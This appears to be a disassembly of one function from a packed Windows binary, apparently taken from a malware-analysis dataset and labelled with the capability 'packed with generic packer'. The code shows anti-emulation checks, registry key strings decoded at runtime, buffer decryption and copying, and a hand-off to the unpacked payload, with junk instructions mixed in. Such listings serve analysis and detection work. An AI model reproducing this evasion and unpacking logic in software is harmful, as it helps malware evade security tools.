Function at 0x401300
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7bc
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x79c], 4
mov dword [ebp - 0x784], 0x80000000
mov dword [ebp - 0x798], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x72c], eax
pushal
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x824]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12d
mov dword [ebp - 0x28], 0x17
mov dword [ebp - 0x7f4], str.222TWARE11asses
mov dword [ebp - 0x7a4], str.22sid09474572_b2fb_11d1_a1a1_0000f875b132inprocserver32
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12c
mov dword [ebp - 0x28], 0x16
mov dword [ebp - 0x824], 2
mov dword [ebp - 0x820], 3
mov dword [ebp - 0x81c], 0
mov dword [ebp - 0x818], 0
mov dword [ebp - 0x814], 0
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x804], 0
mov dword [ebp - 0x800], 0
mov dword [ebp - 0x7fc], str.asdf
push ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea edx, [ebp - 0x824]
push edx
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea ecx, [ebp - 0x824]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea edx, [ebp - 0x824]
push edx
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0x1d83
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
or eax, eax
je 0x40145d
xor eax, eax
jmp 0x401775
lea ecx, [ebp - 0x34]
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [0x4390c8], eax
mov eax, dword [ebp - 0x7f4]
mov byte [eax], 0x53
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 1], 0x4f
mov edx, dword [ebp - 0x7f4]
mov byte [edx + 2], 0x46
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 9], 0x43
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 0xa], 0x6c
push ecx
mov edx, dword [ebp - 0x7f4]
push edx
push 0x80000002
call dword [0x4390c8]
test eax, eax
je 0x4014bb
xor eax, eax
jmp 0x401775
mov edi, dword [ebp - 0x7a4]
lea edx, [ebp - 0x34]
mov byte [edi], 0x63
mov ecx, dword [ebp - 0x7a4]
mov byte [ecx + 1], 0x6c
push edx
mov eax, dword [ebp - 0x7a4]
push eax
push 0x80000000
call dword [0x4390c8]
test eax, eax
je 0x4014ef
xor eax, eax
jmp 0x401775
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
jne 0x401507
xor eax, eax
jmp 0x401775
push 1
mov ecx, dword [0x4390c4]
push ecx
call fcn.00401a00
add esp, 8
mov dword [0x4390d4], eax
mov edx, dword [0x4390d4]
push edx
call fcn.004019c0
mov dword [ebp - 0x794], eax
mov eax, dword [0x4390d4]
add esp, 4
mov dword [ebp - 0x734], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [0x4390d4]
jae 0x4015b6
mov edx, dword [ebp - 0x734]
push edx
mov eax, dword [ebp - 0x790]
push eax
call fcn.00401950
mov dword [ebp - 0x788], eax
sub esp, 0xfffffff8
mov ecx, dword [ebp - 0x788]
push ecx
mov edx, dword [0x4390c4]
add edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 4]
push eax
call fcn.004010b0
add esp, 0xc
mov edi, dword [ebp - 0x28]
add edi, dword [ebp - 0x790]
add edi, dword [ebp - 0x30]
mov dword [ebp - 0x30], edi
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x790]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x734]
sub eax, dword [ebp - 0x788]
mov dword [ebp - 0x734], eax
jmp 0x40153d
mov ecx, dword [0x4390d4]
push ecx
mov edx, dword [ebp - 0x794]
push edx
call fcn.004012c0
sub esp, 0xfffffff8
mov eax, dword [ebp + 8]
mov dword [0x4390b8], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 4], 0
push 2
mov ecx, dword [0x4390c4]
push ecx
call fcn.00401a00
mov dword [0x4390d4], eax
mov edx, dword [0x4390d4]
sub esp, 0xfffffff8
push edx
call fcn.004019c0
mov dword [ebp - 0x2c], eax
add esp, 4
mov eax, dword [0x4390d4]
mov dword [ebp - 0x734], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [0x4390d4]
jae 0x40168b
mov edx, dword [ebp - 0x734]
push edx
mov eax, dword [ebp - 0x790]
push eax
call fcn.00401950
add esp, 8
mov dword [ebp - 0x788], eax
mov ecx, dword [ebp - 0x788]
push ecx
mov edx, dword [0x4390c4]
add edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 4]
push eax
call fcn.004010b0
sub esp, 0xfffffff4
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x790]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x734]
sub eax, dword [ebp - 0x788]
mov dword [ebp - 0x734], eax
jmp 0x401615
mov ecx, dword [0x4390d4]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004012c0
sub esp, 0xfffffff8
mov dword [ebp - 0x7a0], 0x401a20
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x794]
mov dword [eax], ecx
mov dword [ebp - 0x79c], 0x5b000
mov edx, dword [ebp - 0x79c]
push edx
call fcn.004019c0
sub esp, 0xfffffffc
mov dword [0x4390a4], eax
push 0x28800
mov eax, dword [ebp - 0x794]
push eax
mov ecx, dword [0x4390a4]
add ecx, 0x200
push ecx
call fcn.004010b0
add esp, 0xc
call fcn.004012b0
mov dword [ebp - 0x79c], eax
mov esi, dword [0x4390a4]
sub esi, dword [ebp - 0x79c]
mov dword [ebp - 0x38], esi
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x4390a4]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00401780
mov edi, edi
mov eax, eax
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, edx
mov edi, edi
add esp, 0xc
mov eax, dword [0x4390a4]
mov edi, edi
add eax, 0x28720
mov dword [0x4390a8], eax
popal
push 0x501094
mov ecx, esp
mov edx, 0x1e
mov edx, ecx
mov eax, dword [ebp - 0x7a0]
sub edx, 0x3e7
jmp 0x401768
mov dword [edx + 0x3e7], eax
mov edi, edi
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret